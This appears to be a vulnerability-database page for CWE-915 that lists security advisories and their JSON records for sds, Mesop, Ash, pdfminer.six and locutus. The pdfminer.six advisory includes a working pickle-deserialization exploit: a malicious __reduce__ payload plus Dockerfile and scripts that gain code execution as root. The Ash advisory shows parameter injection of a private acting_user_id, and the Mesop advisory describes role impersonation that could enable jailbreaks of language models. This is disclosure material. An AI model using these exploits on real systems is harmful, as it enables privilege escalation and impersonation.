Common Weakness Enumeration

CWE-915

Allowed

Improperly Controlled Modification of Dynamically-Determined Object Attributes

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

348 vulnerabilities reference this CWE, most recent first.

GHSA-CXM3-284P-QC4V

Vulnerability from github – Published: 2020-09-03 15:53 – Updated: 2021-07-29 15:56
VLAI
Summary
Prototype Pollution in sds
Details

Affected versions of sds are vulnerable to prototype pollution. The set function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.

Recommendation

Upgrade to version 4.0.0 or later

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sds"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T19:01:47Z",
    "nvd_published_at": "2020-04-07T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Affected versions of `sds` are vulnerable to prototype pollution. The `set` function does not restrict the modification of an Object\u0027s prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nUpgrade to version 4.0.0 or later",
  "id": "GHSA-cxm3-284p-qc4v",
  "modified": "2021-07-29T15:56:20Z",
  "published": "2020-09-03T15:53:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7618"
    },
    {
      "type": "WEB",
      "url": "https://github.com/monsterkodi/sds/blob/master/js/set.js#L31"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SDS-564123"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1506"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in sds"
}

GHSA-F3MF-HM6V-JFHH

Vulnerability from github – Published: 2025-03-27 18:14 – Updated: 2025-03-27 18:14
VLAI
Summary
Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks
Details

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mesop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-27T18:14:29Z",
    "nvd_published_at": "2025-03-27T15:16:02Z",
    "severity": "HIGH"
  },
  "details": "From @jackfromeast and @superboy-zjc:\nWe have identified a class pollution vulnerability in Mesop (\u003c= [0.14.0](https://github.com/mesop-dev/mesop/releases/tag/v0.14.0)) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application\u0027s implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).\n\nJust like the Javascript\u0027s prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.",
  "id": "GHSA-f3mf-hm6v-jfhh",
  "modified": "2025-03-27T18:14:29Z",
  "published": "2025-03-27T18:14:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-f3mf-hm6v-jfhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/commit/748e20d4a363d89b841d62213f5b0c6b4bed788f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mesop-dev/mesop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks"
}

GHSA-F4HC-PPW9-4HHW

Vulnerability from github – Published: 2026-09-24 19:53 – Updated: 2026-09-24 19:53
VLAI
Summary
Ash: Private action arguments can be set by user input via string-keyed params and atomic changesets
Details

Summary

Ash fails to consistently strip private action arguments (those declared with public?: false) when a changeset is built from an untrusted parameter map. Private arguments are meant to be set only by trusted server-side code, but a caller who controls the parameters supplied to an action can inject a value for one. Any actor able to submit parameters to an action that defines a private argument can trigger it.

Details

Private arguments (public?: false) are meant to be populated internally (e.g. via Ash.Changeset.set_private_argument/3) and never accepted from external input. When an action is invoked with a parameter map, Ash should discard keys that name a private argument. The filtering in lib/ash/changeset/changeset.ex is incomplete, and the gap differs across the two parameter paths.

1. Regular path (for_create, for_update, for_destroy). cast_params/4 validates keys via get_action_argument/2. Its atom-keyed clause filters on public?, but the binary-keyed (string) clause does not, so a string key matching a private argument name is accepted and written into changeset.arguments. User-supplied parameter maps are string-keyed, making this the reachable case.

2. Atomic / bulk path (Ash.Changeset.fully_atomic_changeset/4). atomic_params/4 gates assignment on has_argument?/2, whose atom and binary clauses both omit the public? check, so private arguments are accepted regardless of key type.

PoC

  1. Define an action with a private argument, e.g. argument :acting_user_id, :string, public?: false, and a change that writes it into an attribute.
  2. Build the changeset from a string-keyed map including it, e.g. Ash.Changeset.for_create(Resource, :place, %{"item" => "book", "acting_user_id" => "victim-user-id"}).
  3. Observe acting_user_id is present in changeset.arguments and persisted, whereas the same map with atom keys is correctly stripped.
  4. For the atomic path, call Ash.Changeset.fully_atomic_changeset(Resource, :promote, %{"acting_user_id" => "victim-user-id"}) (atom or string keys) and observe the private argument is retained either way.

Impact

An attacker who can submit parameters to an action that defines a private argument can set that argument to a value of their choosing, overriding data the application intended to control server-side. Where a private argument drives authorization, identity, or record ownership (e.g. acting_user_id), this can lead to an integrity violation or privilege escalation.

Severity
5.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "ash"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.29.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:53:36Z",
    "nvd_published_at": "2026-06-23T19:17:12Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAsh fails to consistently strip private action arguments (those declared with `public?: false`) when a changeset is built from an untrusted parameter map. Private arguments are meant to be set only by trusted server-side code, but a caller who controls the parameters supplied to an action can inject a value for one. Any actor able to submit parameters to an action that defines a private argument can trigger it.\n\n### Details\n\nPrivate arguments (`public?: false`) are meant to be populated internally (e.g. via `Ash.Changeset.set_private_argument/3`) and never accepted from external input. When an action is invoked with a parameter map, Ash should discard keys that name a private argument. The filtering in `lib/ash/changeset/changeset.ex` is incomplete, and the gap differs across the two parameter paths.\n\n**1. Regular path (`for_create`, `for_update`, `for_destroy`).** `cast_params/4` validates keys via `get_action_argument/2`. Its atom-keyed clause filters on `public?`, but the binary-keyed (string) clause does not, so a string key matching a private argument name is accepted and written into `changeset.arguments`. User-supplied parameter maps are string-keyed, making this the reachable case.\n\n**2. Atomic / bulk path (`Ash.Changeset.fully_atomic_changeset/4`).** `atomic_params/4` gates assignment on `has_argument?/2`, whose atom and binary clauses both omit the `public?` check, so private arguments are accepted regardless of key type.\n\n### PoC\n\n1. Define an action with a private argument, e.g. `argument :acting_user_id, :string, public?: false`, and a change that writes it into an attribute.\n2. Build the changeset from a string-keyed map including it, e.g. `Ash.Changeset.for_create(Resource, :place, %{\"item\" =\u003e \"book\", \"acting_user_id\" =\u003e \"victim-user-id\"})`.\n3. Observe `acting_user_id` is present in `changeset.arguments` and persisted, whereas the same map with atom keys is correctly stripped.\n4. For the atomic path, call `Ash.Changeset.fully_atomic_changeset(Resource, :promote, %{\"acting_user_id\" =\u003e \"victim-user-id\"})` (atom or string keys) and observe the private argument is retained either way.\n\n### Impact\n\nAn attacker who can submit parameters to an action that defines a private argument can set that argument to a value of their choosing, overriding data the application intended to control server-side. Where a private argument drives authorization, identity, or record ownership (e.g. `acting_user_id`), this can lead to an integrity violation or privilege escalation.",
  "id": "GHSA-f4hc-ppw9-4hhw",
  "modified": "2026-09-24T19:53:36Z",
  "published": "2026-09-24T19:53:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ash-project/ash/security/advisories/GHSA-f4hc-ppw9-4hhw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ash-project/ash/commit/d9b3100219b3ea86d73202bf7368c03a7688efea"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-55736.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ash-project/ash"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ash-project/ash/releases/tag/v3.29.3"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-55736"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ash: Private action arguments can be set by user input via string-keyed params and atomic changesets"
}

GHSA-F83H-GHPP-7WCC

Vulnerability from github – Published: 2025-11-07 23:17 – Updated: 2026-02-04 16:49
VLAI
Summary
Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc
Details

🚀 Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

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🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

📚 Table of Contents

🔍 Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue: If the CMap search path (CMAP_PATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.

🐍 Vulnerability Description

  • Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
  • Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
  • Exploitability: If a low-privileged user can write to any directory in CMAP_PATH, they can execute code as the user running pdfminer—potentially root or a privileged service.
  • Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

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🎭 Demo Scenario

Environment: - 🐧 Alpine Linux (Docker container) - 👨‍💻 Two users: - user1 (attacker: low-privilege) - root (victim: runs privileged PDF-processing script) - 🗂️ Shared writable directory: /tmp/uploads - 🛣️ CMAP_PATH set to /tmp/uploads for the privileged script - 📦 pdfminer.six installed system-wide

Attack Flow: 1. 🕵️‍♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads. 2. 👑 The privileged service (root) processes a PDF or calls get_cmap("Evil"). 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

line

🧨 Technical Details

  • Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
  • Attack Prerequisites: Attacker can write to a directory included in CMAP_PATH
  • Vulnerable Line: python return type(str(name), (), pickle.loads(gzfile.read())) In pdfminer/cmapdb.py's _load_data method
  • https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
  • Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain: - Attacker places a malicious .pickle.gz file in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. - Arbitrary code executes with the privilege of the process (root/service account).

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🔧 Setup and Usage

📁 Files

</> Dockerfile

FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

</> evilmod.py

import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

</> createEvilPickle.py

import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

</> processPDF.py

import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

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1️⃣ Build and start the demo container

docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

2️⃣ In the container, open two shells in parallel (or switch users in one):

🕵️‍♂️ Shell 1 (Attacker: user1)

su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

👑 Shell 2 (Victim: root)

cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

3️⃣ Proof of escalation

cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE

proof-of-exploit

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📝 Step-by-step Walkthrough

  1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
  2. The root user runs a typical PDF-processing script, which loads CMap files from that directory.
  3. The exploit triggers, running arbitrary code as root.
  4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

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🛡️ Security Standards & References

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pdfminer.six"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20251230"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-70559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-07T23:17:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### \ud83d\ude80 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python\u0027s `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udea8 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## \ud83d\udcda Table of Contents\n\n- [\ud83d\udd0d Background](#-background)\n- [\ud83d\udc0d Vulnerability Description](#-vulnerability-description)\n- [\ud83c\udfad Demo Scenario](#-demo-scenario)\n- [\ud83e\udde8 Technical Details](#-technical-details)\n- [\ud83d\udd27 Setup and Usage](#-setup-and-usage)\n- [\ud83d\udcdd Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [\ud83d\udee1\ufe0f Security Standards \u0026 References](#-security-standards--references)\n---\n\n## \ud83d\udd0d Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python\u0027s `pickle` module.\n\n\u003e \ud83d\udc0d **Security Issue:**\n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### \ud83d\udc0d Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python\u2019s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer\u2014potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### \ud83c\udfad Demo Scenario\n\n**Environment:**\n- \ud83d\udc27 Alpine Linux (Docker container)\n- \ud83d\udc68\u200d\ud83d\udcbb Two users:\n  - `user1` (attacker: low-privilege)\n  - `root` (victim: runs privileged PDF-processing script)\n- \ud83d\uddc2\ufe0f Shared writable directory: `/tmp/uploads`\n- \ud83d\udee3\ufe0f `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- \ud83d\udce6 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. \ud83d\udd75\ufe0f\u200d\u2642\ufe0f `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. \ud83d\udc51 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. \ud83d\udca3 The malicious pickle is deserialized, running arbitrary code as root.\n4. \ud83c\udfaf The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### \ud83e\udde8 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python\u0027s `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n  ```python\n  return type(str(name), (), pickle.loads(gzfile.read()))\n  ```\n  *In `pdfminer/cmapdb.py`\u0027s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udd27 Setup and Usage\n\n### \ud83d\udcc1 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git \u0026\u0026 \\\n    cd pdfminer.six \u0026\u0026 \\\n    git fetch --all \u0026\u0026 \\\n    git checkout ${PM_COMMIT} \u0026\u0026 \\\n    pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 \u0026\u0026 \\\n    mkdir -p /tmp/uploads \u0026\u0026 \\\n    chown user1:user1 /tmp/uploads \u0026\u0026 \\\n    chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n    with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n        f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n    return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n    def __reduce__(self):\n        return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1\ufe0f\u20e3 Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2\ufe0f\u20e3 In the container, open two shells in parallel (or switch users in one):\n\n#### \ud83d\udd75\ufe0f\u200d\u2642\ufe0f Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# \u2705 Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### \ud83d\udc51 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# \ud83c\udfaf Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3\ufe0f\u20e3 Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# \ud83c\udff4 Output: ROOTED by pdfminer pickle RCE\n```\n\n\u003cimg width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" /\u003e\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udcdd Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udee1\ufe0f Security Standards \u0026 References\n\n- **CVSS (Common Vulnerability Scoring System):**\n  - **Base Score:** 7.8 (High)\n  - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n  - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n  - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it\u0027s code injection via deserialization)\n\n- **MITRE CWE References:**\n  - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n  - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT\u0026CK Techniques:**\n  - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n  - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)",
  "id": "GHSA-f83h-ghpp-7wcc",
  "modified": "2026-02-04T16:49:50Z",
  "published": "2025-11-07T23:17:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70559"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pdfminer/pdfminer.six"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure Deserialization (pickle) in pdfminer.six CMap Loader \u2014 Local Privesc"
}

GHSA-F98M-Q3HR-P5WQ

Vulnerability from github – Published: 2021-05-06 18:12 – Updated: 2021-12-14 15:33
VLAI
Summary
Prototype Pollution in locutus
Details

All versions of package locutus prior to version 2.0.12 are vulnerable to Prototype Pollution via the php.strings.parse_str function.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "locutus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T18:44:01Z",
    "nvd_published_at": "2020-09-01T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package locutus prior to version 2.0.12 are vulnerable to Prototype Pollution via the php.strings.parse_str function.",
  "id": "GHSA-f98m-q3hr-p5wq",
  "modified": "2021-12-14T15:33:28Z",
  "published": "2021-05-06T18:12:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kvz/locutus/pull/418"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/commit/0eb16d8541838e80f3c2340a9ef93ded7c97290f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kvz/locutus"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-LOCUTUS-598675"
    }
